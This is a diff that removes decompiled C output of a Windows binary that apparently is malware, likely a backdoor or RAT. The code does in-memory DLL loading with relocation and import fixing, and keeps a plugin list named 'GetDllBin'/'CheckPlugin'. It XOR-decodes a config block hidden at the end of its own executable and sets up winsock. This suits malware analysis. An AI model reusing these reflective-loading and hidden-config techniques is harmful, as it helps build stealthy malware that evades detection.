- if (*(int16_t *)(result + 6) == 0) {
- // 0x4033e7
- return result;
- }
- int32_t v6 = result + 24 + v5 + 16; // 0x40336e
- int32_t flAllocationType = 0x1000; // ebx
- int32_t v7 = 0;
- // branch -> 0x403376
- int32_t result2; // 0x4033dc
- while (true) {
- int32_t * dwSize = (int32_t *)v6; // 0x403376
- int32_t v8; // 0x4033d4
- if (*dwSize != 0) {
- int32_t v9 = *(int32_t *)(v6 - 4); // 0x4033a8
- int32_t * memory = VirtualAlloc((int32_t *)(v9 + v3), *dwSize, flAllocationType, 4); // 0x4033b4
- int32_t v10 = v6; // 0x4033b6
- int32_t v11 = *(int32_t *)(v10 + 4) + (int32_t)a1; // 0x4033bb
- g4 = v11;
- memcpy(memory, (int32_t *)v11, *(int32_t *)v10);
- *(int32_t *)(v6 - 8) = (int32_t)memory;
- // branch -> 0x4033d1
- } else {
- uint32_t dwSize2 = *(int32_t *)(a2 + 56); // 0x40337e
- if (dwSize2 >= 1) {
- int32_t v12 = *(int32_t *)(v6 - 4); // 0x40338c
- int32_t * memory2 = VirtualAlloc((int32_t *)(v12 + v3), dwSize2, flAllocationType, 4); // 0x403393
- *(int32_t *)(v6 - 8) = (int32_t)memory2;
- memset(memory2, 0, dwSize2);
- // branch -> 0x4033d1
- }
- // 0x4033d1
- v8 = v7 + 1;
- result2 = (int32_t)*(int16_t *)(*v4 + 6);
- if (v8 >= result2) {
- // break -> 0x4033e5
- break;
- }
- v6 += 40;
- v7 = v8;
- // continue -> 0x403376
- continue;
- }
- // 0x4033d1
- v8 = v7 + 1;
- result2 = (int32_t)*(int16_t *)(*v4 + 6);
- if (v8 >= result2) {
- // break -> 0x4033e5
- break;
- }
- v6 += 40;
- v7 = v8;
- // continue -> 0x403376
- }
- // 0x4033e5
- // branch -> 0x4033e7
- // 0x4033e7
- g7 = v2;
- g2 = v1;
- return result2;
- }
- // Address range: 0x4033ea - 0x4034a6
- int32_t function_4033ea(int32_t * a1) {
- int32_t v1 = g2; // bp-4
- int32_t lpflOldProtect = g4; // bp-12
- int32_t result = *a1; // 0x4033f6
- if (*(int16_t *)(result + 6) == 0) {
- // 0x4034a5
- return result;
- }
- int32_t v2 = result + 24 + (int32_t)*(int16_t *)(result + 20) + 36; // 0x40340e
- int32_t v3 = 0;
- // branch -> 0x403411
- int32_t result2; // 0x403493
- while (true) {
- uint32_t v4 = *(int32_t *)v2; // 0x403411
- if ((v4 & 0x2000000) == 0) {
- int32_t v5 = *(int32_t *)(4 * (2 * (-((v4 / 0x20000000 & 1)) & 2 | v4 / 0x40000000 & 1) | v4 / 0x80000000) + (int32_t)&g27); // 0x40344f
- int32_t flNewProtect = v5; // 0x40347f
- if ((v4 & 0x4000000) != 0) {
- // 0x403458
- flNewProtect = v5 | 512;
- // branch -> 0x40345e
- }
- int32_t dwSize = *(int32_t *)(v2 - 20); // 0x40345e
- int32_t v6; // 0x40348d
- if (dwSize != 0) {
- lab_0x40347b:;
- int32_t lpAddress = *(int32_t *)(v2 - 28); // 0x403481
- VirtualProtect((int32_t *)lpAddress, dwSize, flNewProtect, &lpflOldProtect);
- // branch -> 0x40348a
- } else {
- // 0x403465
- int32_t v7;
- if ((v4 & 64) == 0) {
- // 0x40346f
- if ((char)v4 <= 255) {
- // 0x403474
- v7 = result + 36;
- // branch -> 0x403479
- lab_0x403479:;
- int32_t v8 = *(int32_t *)v7;
- if (v8 != 0) {
- dwSize = v8;
- goto lab_0x40347b;
- }
- // 0x40348a
- v6 = v3 + 1;
- result2 = *a1;
- if (v6 >= (int32_t)*(int16_t *)(result2 + 6)) {
- // break -> 0x4034a2
- break;
- }
- v3 = v6;
- result = result2;
- v2 += 40;
- // continue -> 0x403411
- continue;
- }
- } else {
- // 0x40346a
- v7 = result + 32;
- // branch -> 0x403479
- goto lab_0x403479;
- }
- // 0x40348a
- v6 = v3 + 1;
- result2 = *a1;
- if (v6 >= (int32_t)*(int16_t *)(result2 + 6)) {
- // break -> 0x4034a2
- break;
- }
- v3 = v6;
- result = result2;
- v2 += 40;
- // continue -> 0x403411
- continue;
- }
- lab_0x40348a:
- // 0x40348a
- v6 = v3 + 1;
- result2 = *a1;
- if (v6 >= (int32_t)*(int16_t *)(result2 + 6)) {
- // break -> 0x4034a2
- break;
- }
- v3 = v6;
- result = result2;
- v2 += 40;
- // continue -> 0x403411
- continue;
- } else {
- int32_t lpAddress2 = *(int32_t *)(v2 - 28); // 0x403438
- VirtualFree((int32_t *)lpAddress2, *(int32_t *)(v2 - 20), 0x4000);
- // branch -> 0x40348a
- goto lab_0x40348a;
- }
- }
- // 0x4034a2
- // branch -> 0x4034a5
- // 0x4034a5
- g2 = v1;
- return result2;
- }
- // Address range: 0x4034a7 - 0x403520
- int32_t function_4034a7(int32_t * a1, int32_t a2) {
- int32_t v1 = g2; // 0x4034a7
- int32_t v2 = g7; // 0x4034ad
- int32_t v3 = *(int32_t *)((int32_t)a1 + 4); // 0x4034ae
- int32_t v4 = *a1; // 0x4034b1
- int32_t result = v4 + 160; // 0x4034b3
- if (*(int32_t *)(v4 + 164) == 0) {
- // 0x40351e
- g7 = v2;
- g2 = v1;
- return result;
- }
- int32_t result2 = *(int32_t *)result + v3; // 0x4034c0
- int32_t v5 = result2; // eax
- int32_t v6 = *(int32_t *)result2; // 0x4034c2
- if (v6 == 0) {
- // 0x40351e
- g7 = v2;
- g2 = v1;
- return result2;
- }
- int32_t v7 = g3; // 0x4034c8
- int32_t v8 = g5; // 0x4034c9
- // branch -> 0x4034ca
- while (true) {
- int32_t v9 = v6 + v3; // edi
- int32_t v10 = result2 + 8; // 0x4034d4
- int32_t v11 = result2; // 0x403513
- int32_t v12; // 0x403516
- int32_t result3; // 0x403513
- if ((*(int32_t *)(result2 + 4) & -2) != 8) {
- int32_t v13 = result2; // 0x4035016
- int32_t v14 = 0;
- while (true) {
- uint16_t v15 = *(int16_t *)v10; // 0x4034e2
- int32_t v16 = v13; // 0x403501
- if (((int32_t)v15 & -0x10000 || (int32_t)(v15 & -0x1000)) == 0x3000) {
- int32_t * v17 = (int32_t *)(v9 + ((int32_t)v15 & 4095)); // 0x4034ff
- *v17 = *v17 + a2;
- v16 = v5;
- // branch -> 0x403501
- }
- int32_t v18 = v14 + 1; // 0x403504
- int32_t v19 = v10 + 2; // 0x40350d
- if (v18 >= (*(int32_t *)(v16 + 4) - 8) / 2) {
- v11 = v16;
- // break -> 0x403513
- break;
- }
- v13 = v16;
- v10 = v19;
- v14 = v18;
- // continue -> 0x4034e2
- }
- // 0x403513
- result3 = *(int32_t *)(v11 + 4) + v11;
- v5 = result3;
- v12 = *(int32_t *)result3;
- if (v12 == 0) {
- // 0x40351c
- g5 = v8;
- g3 = v7;
- // branch -> 0x40351e
- // 0x40351e
- g7 = v2;
- g2 = v1;
- return result3;
- }
- lab_0x403513:
- // 0x403513
- result2 = result3;
- v6 = v12;
- // branch -> 0x4034ca
- continue;
- }
- // 0x403513
- result3 = *(int32_t *)(v11 + 4) + v11;
- v5 = result3;
- v12 = *(int32_t *)result3;
- if (v12 != 0) {
- goto lab_0x403513;
- }
- // 0x40351c
- g5 = v8;
- g3 = v7;
- // branch -> 0x40351e
- // 0x40351e
- g7 = v2;
- g2 = v1;
- return result3;
- }
- }
- // Address range: 0x403521 - 0x40361d
- int32_t function_403521(int32_t * a1) {
- int32_t v1 = (int32_t)a1;
- int32_t v2 = g7; // 0x403529
- int32_t v3 = *a1; // 0x40352a
- int32_t v4 = *(int32_t *)(v1 + 4); // 0x40352c
- int32_t v5 = g5; // 0x403534
- if (*(int32_t *)(v3 + 132) == 0) {
- // 0x403613
- g5 = v5;
- g7 = v2;
- return 1;
- }
- int32_t lp = *(int32_t *)(v3 + 128) + v4;
- // branch -> 0x40354b
- while (true) {
- int32_t v6 = lp; // edi
- if (IsBadReadPtr((int32_t *)lp, 20)) {
- // 0x403613
- g5 = v5;
- g7 = v2;
- return 1;
- }
- int32_t v7 = *(int32_t *)(v6 + 12); // 0x40355c
- if (v7 == 0) {
- // 0x403613
- g5 = v5;
- g7 = v2;
- return 1;
- }
- int32_t * moduleHandle = LoadLibraryA((char *)(v4 + v7)); // 0x40356a
- if (moduleHandle == (int32_t *)-1) {
- // 0x40360e
- // branch -> 0x403613
- // 0x403613
- g5 = v5;
- g7 = v2;
- return 0;
- }
- int32_t v8 = *(int32_t *)(v1 + 8); // 0x40358a
- int32_t * mem = realloc((int32_t *)v8, 4 * *(int32_t *)(v1 + 12) + 4); // 0x40358d
- int32_t v9 = (int32_t)mem; // 0x40358d
- *(int32_t *)(v1 + 8) = v9;
- if (mem != NULL) {
- // 0x40359c
- *(int32_t *)(4 * *(int32_t *)(v1 + 12) + v9) = (int32_t)moduleHandle;
- int32_t * v10 = (int32_t *)(v1 + 12); // 0x4035a2
- *v10 = *v10 + 1;
- int32_t v11 = v6; // 0x4035a5
- int32_t v12 = *(int32_t *)v11; // 0x4035a5
- int32_t v13 = *(int32_t *)(v11 + 16); // 0x4035b8
- int32_t v14; // 0x4035bb
- if (v12 == 0) {
- // 0x4035b8
- v14 = v4 + v13;
- // branch -> 0x4035c2
- } else {
- // 0x4035ab
- v14 = v4 + v12;
- // branch -> 0x4035c2
- }
- int32_t v15 = v14; // esi
- int32_t v16 = *(int32_t *)v14; // 0x4035c613
- if (v16 != 0) {
- int32_t v17 = v14;
- while (true) {
- // 0x4035cc
- int32_t lpProcName;
- if (v16 > -1) {
- // 0x4035da
- lpProcName = v4 + v16 + 2;
- // branch -> 0x4035df
- } else {
- // 0x4035d3
- lpProcName = v16 & 0xffff;
- // branch -> 0x4035df
- }
- int32_t (*func)() = GetProcAddress(moduleHandle, (char *)lpProcName); // 0x4035e4
- *(int32_t *)v15 = (int32_t)func;
- if (func == NULL) {
- // 0x4035ff
- // branch -> 0x403613
- // 0x403613
- g5 = v5;
- g7 = v2;
- return 0;
- }
- int32_t v18 = v17 + 4; // 0x4035f0
- v15 += 4;
- int32_t v19 = *(int32_t *)v18; // 0x4035c6
- if (v19 == 0) {
- // break -> 0x4035ff
- break;
- }
- v16 = v19;
- v17 = v18;
- // continue -> 0x4035cc
- }
- // 0x4035ff
- // branch -> 0x4035ff
- }
- // 0x4035ff
- lp = v6 + 20;
- // branch -> 0x40354b
- continue;
- }
- // 0x40360e
- // branch -> 0x403613
- // 0x403613
- g5 = v5;
- g7 = v2;
- return 0;
- }
- }
- // Address range: 0x40361e - 0x4036a8
- int32_t function_40361e(int32_t * a1, int32_t a2) {
- int32_t v1 = g7; // 0x403628
- int32_t v2 = *(int32_t *)((int32_t)a1 + 4); // 0x403629
- int32_t v3 = *a1; // 0x40362c
- int32_t v4 = g5; // 0x403631
- if (*(int32_t *)(v3 + 124) == 0) {
- // 0x403685
- // branch -> 0x403687
- // 0x403687
- g5 = v4;
- g7 = v1;
- return 0;
- }
- int32_t v5 = *(int32_t *)(v3 + 120); // 0x40363a
- int32_t v6 = v5 + v2; // 0x403640
- if (*(int32_t *)(v2 + 24 + v5) == 0) {
- // 0x403685
- // branch -> 0x403687
- // 0x403687
- g5 = v4;
- g7 = v1;
- return 0;
- }
- // 0x403646
- if (*(int32_t *)(v6 + 20) != 0) {
- int32_t v7 = *(int32_t *)(v6 + 32) + v2; // 0x403651
- int32_t v8 = *(int32_t *)(v6 + 36) + v2; // ebx
- int32_t v9 = 0;
- // branch -> 0x403661
- while (true) {
- int32_t v10 = *(int32_t *)v7; // 0x403661
- if (_stricmp((char *)a2, (char *)(v10 + v2)) == 0) {
- uint32_t v11 = (int32_t)*(int16_t *)v8; // 0x40368c
- if (v11 <= *(int32_t *)(v6 + 20)) {
- int32_t v12 = *(int32_t *)(v6 + 28); // 0x403699
- // branch -> 0x403687
- // 0x403687
- g5 = v4;
- g7 = v1;
- return *(int32_t *)(v12 + 4 * v11 + v2) + v2;
- }
- } else {
- int32_t v13 = v9 + 1; // 0x403675
- v8 += 2;
- if (v13 < *(int32_t *)(v6 + 24)) {
- // 0x40365e
- v7 += 4;
- v9 = v13;
- // branch -> 0x403661
- continue;
- }
- }
- // 0x403685
- // branch -> 0x403687
- // 0x403687
- g5 = v4;
- g7 = v1;
- return 0;
- }
- }
- // 0x403685
- // branch -> 0x403687
- // 0x403687
- g5 = v4;
- g7 = v1;
- return 0;
- }
- // Address range: 0x4036a9 - 0x403721
- int32_t function_4036a9(int32_t * a1) {
- int32_t v1 = (int32_t)a1;
- int32_t v2 = 0; // ebx
- if (a1 == NULL) {
- // 0x40371f
- int32_t result;
- return result;
- }
- int32_t v3 = 0; // 0x4036d4
- int32_t v4 = v1; // 0x4036d4
- if (*(int32_t *)(v1 + 16) != 0) {
- // 0x4036ba
- __pseudo_call(*(int32_t *)(*a1 + 40) + *(int32_t *)(v1 + 4));
- *(int32_t *)(v1 + 16) = v2;
- v3 = v2;
- v4 = v1;
- // branch -> 0x4036cc
- }
- int32_t dwSize = v3; // 0x403708
- int32_t v5 = v4; // 0x4036fc
- int32_t lpMem; // 0x403710
- int32_t dwFlags; // 0x403711
- int32_t * hHeap; // 0x403712
- int32_t lpAddress; // 0x4036fc
- int32_t result2; // 0x403719
- if (*(int32_t *)(v4 + 8) != v3) {
- int32_t v6 = 0; // edi
- if (*(int32_t *)(v4 + 12) > v3) {
- int32_t v7 = 0; // 0x4036dc
- int32_t v8 = v4; // 0x4036d9
- int32_t v9; // 0x4036ec
- while (true) {
- int32_t hLibModule = *(int32_t *)(*(int32_t *)(v8 + 8) + 4 * v7); // 0x4036dc
- v9 = v8;
- int32_t v10 = v7; // 0x4036eb
- if (hLibModule != -1) {
- // 0x4036e4
- FreeLibrary((int32_t *)hLibModule);
- v9 = v1;
- v10 = v6;
- // branch -> 0x4036eb
- }
- int32_t v11 = v10 + 1; // 0x4036eb
- v6 = v11;
- if (v11 >= *(int32_t *)(v9 + 12)) {
- // break -> 0x4036f1
- break;
- }
- v7 = v11;
- v8 = v9;
- // continue -> 0x4036d9
- }
- // 0x4036f1
- free((int32_t *)*(int32_t *)(v9 + 8));
- dwSize = v2;
- v5 = v1;
- // branch -> 0x4036fc
- // 0x4036fc
- lpAddress = *(int32_t *)(v5 + 4);
- if (lpAddress == dwSize) {
- // 0x4036fc
- dwFlags = dwSize;
- lpMem = v5;
- // branch -> 0x403710
- } else {
- // 0x403703
- VirtualFree((int32_t *)lpAddress, dwSize, 0x8000);
- dwFlags = v2;
- lpMem = v1;
- // branch -> 0x403710
- }
- // 0x403710
- hHeap = GetProcessHeap();
- result2 = HeapFree(hHeap, dwFlags, (int32_t *)lpMem);
- // branch -> 0x40371f
- // 0x40371f
- return result2;
- }
- // 0x4036f1
- free((int32_t *)*(int32_t *)(v4 + 8));
- dwSize = v2;
- v5 = v1;
- // branch -> 0x4036fc
- }
- // 0x4036fc
- lpAddress = *(int32_t *)(v5 + 4);
- if (lpAddress == dwSize) {
- // 0x4036fc
- dwFlags = dwSize;
- lpMem = v5;
- // branch -> 0x403710
- } else {
- // 0x403703
- VirtualFree((int32_t *)lpAddress, dwSize, 0x8000);
- dwFlags = v2;
- lpMem = v1;
- // branch -> 0x403710
- }
- // 0x403710
- hHeap = GetProcessHeap();
- result2 = HeapFree(hHeap, dwFlags, (int32_t *)lpMem);
- // branch -> 0x40371f
- // 0x40371f
- return result2;
- }
- // Address range: 0x403722 - 0x40376e
- int32_t function_403722(void) {
- int32_t v1 = g4 + 328; // edi
- int32_t v2 = function_402e17(0, 0, g5); // 0x403739
- *(int32_t *)(v1 + 8) = 0;
- *(int32_t *)(v1 + 4) = v2;
- *(int32_t *)(g4 + 340) = 0;
- *(int32_t *)g4 = (int32_t)&g13;
- strncpy((char *)(g4 + 264), "GetDllBin", 64);
- g7 = 0;
- return g4;
- }
- // Address range: 0x40376f - 0x40378a
- int32_t function_40376f(char a1) {
- int32_t v1 = g7; // 0x40376f
- g7 = g4;
- function_40378b(v1);
- if ((a1 & 1) != 0) {
- // 0x40377e
- __3f__3f_3_40_YAXPAX_40_Z(g7);
- // branch -> 0x403785
- }
- // 0x403785
- return g7;
- }
- // Address range: 0x40378b - 0x403804
- int32_t function_40378b(int32_t a1) {
- // 0x40378b
- function_404b60();
- int32_t v1 = g4; // 0x403795
- int32_t v2 = g7; // 0x403796
- g7 = v1;
- *(int32_t *)(g2 - 16) = v1;
- *(int32_t *)g7 = (int32_t)&g13;
- *(int32_t *)(g2 - 4) = 0;
- int32_t v3 = g7; // 0x4037a6
- if (*(int32_t *)(v3 + 336) == 0) {
- // 0x4037e9
- *(int32_t *)(g2 - 4) = -1;
- g4 = g7 + 328;
- function_402db4();
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- int32_t v4 = g5; // 0x4037b0
- int32_t v5 = v3; // 0x4037b7
- // branch -> 0x4037b7
- int32_t v6; // bp-20
- while (true) {
- int32_t v7 = *(int32_t *)(*(int32_t *)*(int32_t *)(v5 + 332) + 8); // 0x4037bf
- if (v7 != 0) {
- // 0x4037c6
- v6 = 1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- __3f__3f_3_40_YAXPAX_40_Z(v7);
- // branch -> 0x4037d7
- }
- // 0x4037d7
- g4 = v3 + 328;
- function_403a96();
- int32_t v8 = g7; // 0x4037de
- if (*(int32_t *)(v8 + 336) == 0) {
- // break -> 0x4037e7
- break;
- }
- v5 = v8;
- // continue -> 0x4037b7
- }
- // 0x4037e7
- g5 = v6;
- g3 = v4;
- // branch -> 0x4037e9
- // 0x4037e9
- *(int32_t *)(g2 - 4) = -1;
- g4 = g7 + 328;
- function_402db4();
- g7 = v2;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x403805 - 0x403a35
- int32_t function_403805(void) {
- // 0x403805
- function_404b60();
- int32_t v1 = *(int32_t *)(g2 + 8); // 0x403817
- int32_t v2 = v1; // esi
- g3 = g4;
- int32_t v3 = _stricmp((char *)(v1 + 162), "CheckPlugin"); // 0x403829
- int32_t v4; // bp-548
- *(int32_t *)(g2 - 16) = (int32_t)&v4;
- v4 = (int32_t)*(char *)(g2 + 11) | v3 & -256;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
- char * v5; // bp-556
- if (v3 == 0) {
- char * str = (char *)(v2 + 232); // 0x403856
- v5 = str;
- int32_t len = strlen(str); // 0x403857
- v5 = (char *)len;
- int32_t v6 = v2 + 232; // 0x40385e
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v6, len);
- g4 = g3;
- int32_t v7 = function_403a36(); // 0x40386f
- *(char *)(g2 - 532) = 0;
- *(int32_t *)(g2 + 8) = v7;
- int32_t v8 = g2 - 531; // 0x403883
- _memset((char *)v8, 0, 127);
- *(int16_t *)v8 = 0;
- *(char *)(g2 - 529) = 0;
- strncpy((char *)(g2 - 532), (char *)(g7 + 232), 256);
- strncat((char *)(g2 - 532), *(int32_t *)(g2 + 8) == 0 ? "no" : "ok", 2);
- strlen((char *)(g2 - 532));
- __pseudo_call(*(int32_t *)(g3 + 4));
- // branch -> 0x403a23
- // 0x403a23
- g5 = v6;
- g7 = (int32_t)v5;
- abort();
- // UNREACHABLE
- }
- char * str2 = (char *)(v2 + 130); // 0x403917
- v5 = str2;
- int32_t len2 = strlen(str2); // 0x403918
- *(int32_t *)&v5 = len2;
- int32_t v9 = v2 + 130; // 0x40391f
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v9, len2);
- g4 = g3;
- int32_t v10 = function_403a36(); // 0x403930
- if (v10 == 0) {
- int32_t v11 = __3f__3f_2_40_YAPAXI_40_Z(28); // 0x403976
- *(int32_t *)(g2 - 16) = v11;
- int32_t v12 = 0; // eax
- *(int32_t *)(g2 - 4) = 0;
- if (v11 != 0) {
- // 0x40398a
- *(char *)v11 = *(char *)(g2 + 11);
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(v12);
- v12 = v11;
- // branch -> 0x40399a
- }
- // 0x40399a
- *(int32_t *)(g2 - 4) = -1;
- *(int32_t *)(g2 + 8) = v12;
- memset((int32_t *)(char *)v12, (int32_t)NULL, 28);
- int32_t str3 = g7 + 130; // 0x4039ae
- g5 = str3;
- *(int32_t *)(g2 - 16) = *(int32_t *)(g2 + 8);
- int32_t len3 = strlen((char *)str3); // 0x4039b8
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(g5, len3);
- int32_t str4 = g7 + 232; // 0x4039ce
- g7 = str4;
- *(int32_t *)(*(int32_t *)(g2 + 8) + 16) = 0;
- *(int32_t *)(*(int32_t *)(g2 + 8) + 20) = atol((char *)str4);
- int32_t v13 = *(int32_t *)(*(int32_t *)(g2 + 8) + 20); // 0x4039e8
- *(int32_t *)(*(int32_t *)(g2 + 8) + 24) = __3f__3f_2_40_YAPAXI_40_Z(v13);
- int32_t v14 = *(int32_t *)(g2 + 8); // 0x4039f6
- memset((int32_t *)*(int32_t *)(v14 + 24), 0, *(int32_t *)(v14 + 20));
- g4 = g3 + 328;
- function_403ab9((int32_t *)(g2 - 20), *(int32_t *)(g3 + 332), g2 + 8);
- // branch -> 0x403a23
- } else {
- int32_t v15 = *(int32_t *)(g7 + 228); // 0x40393b
- int32_t * v16 = (int32_t *)(v10 + 16); // 0x403941
- int32_t v17 = *v16; // 0x403941
- if (*(int32_t *)(v10 + 20) >= v17 + v15) {
- int32_t v18 = *(int32_t *)(v10 + 24) + v17; // 0x40395b
- memcpy((int32_t *)v18, (int32_t *)(g7 + 232), v15);
- *v16 = *v16 + *(int32_t *)(g7 + 228);
- // branch -> 0x403a23
- }
- }
- // 0x403a23
- g5 = v9;
- g7 = (int32_t)v5;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x403a36 - 0x403a95
- int32_t function_403a36(void) {
- // 0x403a36
- function_404b60();
- *(int32_t *)(g2 - 4) = 0;
- int32_t v1 = *(int32_t *)(g4 + 332); // 0x403a4e
- int32_t v2 = *(int32_t *)v1; // 0x403a4e
- int32_t v3 = v2; // esi
- if (v2 == v1) {
- // 0x403a6e
- // branch -> 0x403a70
- } else {
- // branch -> 0x403a54
- while (true) {
- int32_t v4 = *(int32_t *)(v2 + 8); // 0x403a54
- if (_3f_compare_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QBEHABV12_40__40_Z(v4) == 0) {
- // 0x403a91
- // branch -> 0x403a70
- // 0x403a70
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g5 = 1;
- g7 = 0;
- abort();
- // UNREACHABLE
- }
- int32_t v5 = *(int32_t *)v3; // 0x403a64
- v3 = v5;
- if (v5 == *(int32_t *)(g4 + 332)) {
- // break -> 0x403a6e
- break;
- }
- v2 = v5;
- // continue -> 0x403a54
- }
- // 0x403a6e
- // branch -> 0x403a70
- }
- // 0x403a70
- *(int32_t *)(g2 - 4) = -1;
- _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
- g5 = 1;
- int32_t v6; // bp-12
- g7 = v6;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x403a96 - 0x403ab8
- int32_t function_403a96(void) {
- int32_t v1 = *(int32_t *)*(int32_t *)(g4 + 4); // 0x403a9c
- *(int32_t *)*(int32_t *)(v1 + 4) = *(int32_t *)v1;
- *(int32_t *)(*(int32_t *)v1 + 4) = *(int32_t *)(v1 + 4);
- int32_t result = __3f__3f_3_40_YAXPAX_40_Z(v1); // 0x403aae
- int32_t * v2 = (int32_t *)(g4 + 8); // 0x403ab3
- *v2 = *v2 - 1;
- return result;
- }
- // Address range: 0x403ab9 - 0x403af0
- int32_t function_403ab9(int32_t * a1, int32_t a2, int32_t a3) {
- int32_t v1 = function_402e17(a2, *(int32_t *)(a2 + 4), g5); // 0x403ac5
- *(int32_t *)(a2 + 4) = v1;
- *(int32_t *)*(int32_t *)(v1 + 4) = v1;
- int32_t v2 = v1 + 8; // 0x403ad2
- if (v2 != 0) {
- // 0x403ad9
- *(int32_t *)v2 = *a1;
- // branch -> 0x403ae1
- }
- int32_t * v3 = (int32_t *)(g4 + 8); // 0x403ae5
- *v3 = *v3 + 1;
- g5 = a2;
- *(int32_t *)g7 = v1;
- return g7;
- }
- // Address range: 0x403af1 - 0x403afa
- int32_t function_403af1(void) {
- // 0x403af1
- function_403afb();
- return function_403b21();
- }
- // Address range: 0x403afb - 0x403b20
- int32_t function_403afb(void) {
- int32_t result = function_402e17(0, 0, g4); // 0x403b0e
- g49 = 0;
- g48 = result;
- return result;
- }
- // Address range: 0x403b21 - 0x403b36
- int32_t function_403b21(void) {
- // 0x403b21
- return function_404ac4(0x403b2d);
- }
- // Address range: 0x403b37 - 0x403b40
- int32_t function_403b37(void) {
- // 0x403b37
- function_403b41();
- return function_403b67();
- }
- // Address range: 0x403b41 - 0x403b66
- int32_t function_403b41(void) {
- int32_t result = function_402e17(0, 0, g4); // 0x403b54
- g47 = 0;
- g46 = result;
- return result;
- }
- // Address range: 0x403b67 - 0x403b7c
- int32_t function_403b67(void) {
- // 0x403b67
- return function_404ac4(0x403b73);
- }
- // Address range: 0x403b7d - 0x403b86
- int32_t function_403b7d(void) {
- // 0x403b7d
- function_403b87();
- return function_403b91();
- }
- // Address range: 0x403b87 - 0x403b90
- int32_t function_403b87(void) {
- // 0x403b87
- g4 = &g50;
- return function_401967();
- }
- // Address range: 0x403b91 - 0x403ba6
- int32_t function_403b91(void) {
- // 0x403b91
- return function_404ac4(0x403b9d);
- }
- // Address range: 0x403ba7 - 0x403bc9
- int32_t function_403ba7(int32_t a1, int32_t a2, int32_t a3) {
- int32_t v1 = 0; // bp-400
- int32_t v2 = WSAStartup(257, (struct WSAData *)&v1); // 0x403bb7
- return (v2 != 0 ? 2 : 1) | -v2 & -256;
- }
- // Address range: 0x403bca - 0x403fc9
- int32_t function_403bca(void) {
- char * v1 = (char *)g2; // bp-4
- g2 = (int32_t)&v1;
- abort();
- // UNREACHABLE
- }
- // Address range: 0x403fca - 0x404342
- int32_t function_403fca(int32_t a1) {
- int32_t v1 = g2; // bp-4
- g2 = &v1;
- char str; // bp-128
- int32_t v2 = &str; // 0x403fcd
- if ((char)function_403ba7(g5, g7, g3) == 0) {
- // 0x40433a
- return 0;
- }
- int32_t v3 = *(int32_t *)__p__pgmptr(); // 0x403feb
- __3f__3f_0CFile_40__40_QAE_40_PBDI_40_Z(v3);
- int32_t lpMutexAttributes = 0; // ebx
- int32_t v4 = __3f_GetLength_40_CFile_40__40_UBEKXZ() - 1912; // 0x403fff
- __3f_Seek_40_CFile_40__40_UAEJJI_40_Z(v4, 0);
- memset((int32_t *)&g53, lpMutexAttributes, 1912);
- __3f_Read_40_CFile_40__40_UAEIPAXI_40_Z((int32_t)&g53, 1912);
- char * v5 = (char *)(int32_t)&g53; // 0x40402f
- *v5 = *v5 ^ 89;
- int32_t v6 = 1; // 0x404036
- // branch -> 0x40402f
- while (v6 < 1912) {
- // 0x40402f
- v5 = (char *)(v6 + (int32_t)&g53);
- *v5 = *v5 ^ 89;
- v6++;
- // continue -> 0x40402f
- }
- int32_t * v7 = CreateMutexA((struct _SECURITY_ATTRIBUTES *)lpMutexAttributes, true, (char *)&g56); // 0x404043
- int32_t hObject = (int32_t)v7; // 0x404043
- int16_t v8; // bp-12
- int16_t v9; // bp-127
- char v10; // bp-32
- unsigned char v11;
- int32_t v12; // 0x404107
- int32_t v13; // 0x404191
- int32_t v14; // 0x404100
- int32_t v15; // 0x40416b
- int32_t time_val; // 0x404069
- int32_t len; // 0x404150
- if (hObject != lpMutexAttributes) {
- // 0x40404f
- if (GetLastError() != 183) {
- // 0x40404f
- // branch -> 0x404068
- // 0x404068
- time_val = time((int32_t *)lpMutexAttributes);
- srand(time_val);
- function_403bca();
- memcpy(&g39, &g55, 16);
- memcpy((int32_t *)&g40, (int32_t *)&g57, 16);
- memcpy((int32_t *)&g42, (int32_t *)&g58, 64);
- memcpy(&g43, (int32_t *)&g59, 64);
- memcpy((int32_t *)&g44, (int32_t *)&g60, 32);
- memcpy((int32_t *)&g45, (int32_t *)&g61, 32);
- memcpy(&g41, (int32_t *)"direct", 16);
- str = 0;
- v14 = &v9;
- _memset((char *)&v9, 0, 15);
- v9 = 0;
- v12 = v14 + 2;
- *(char *)v12 = 0;
- g5 = v12 + 1;
- strncpy(&str, (char *)&g54, (int32_t)(char *)16);
- strcat(&str, g26);
- strcat(&str, (char *)(int32_t)&g58);
- strcat(&str, g28);
- strcat(&str, (char *)(int32_t)&g57);
- len = strlen(&str);
- _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v2, len);
- v15 = &v10;
- v10 = v11;
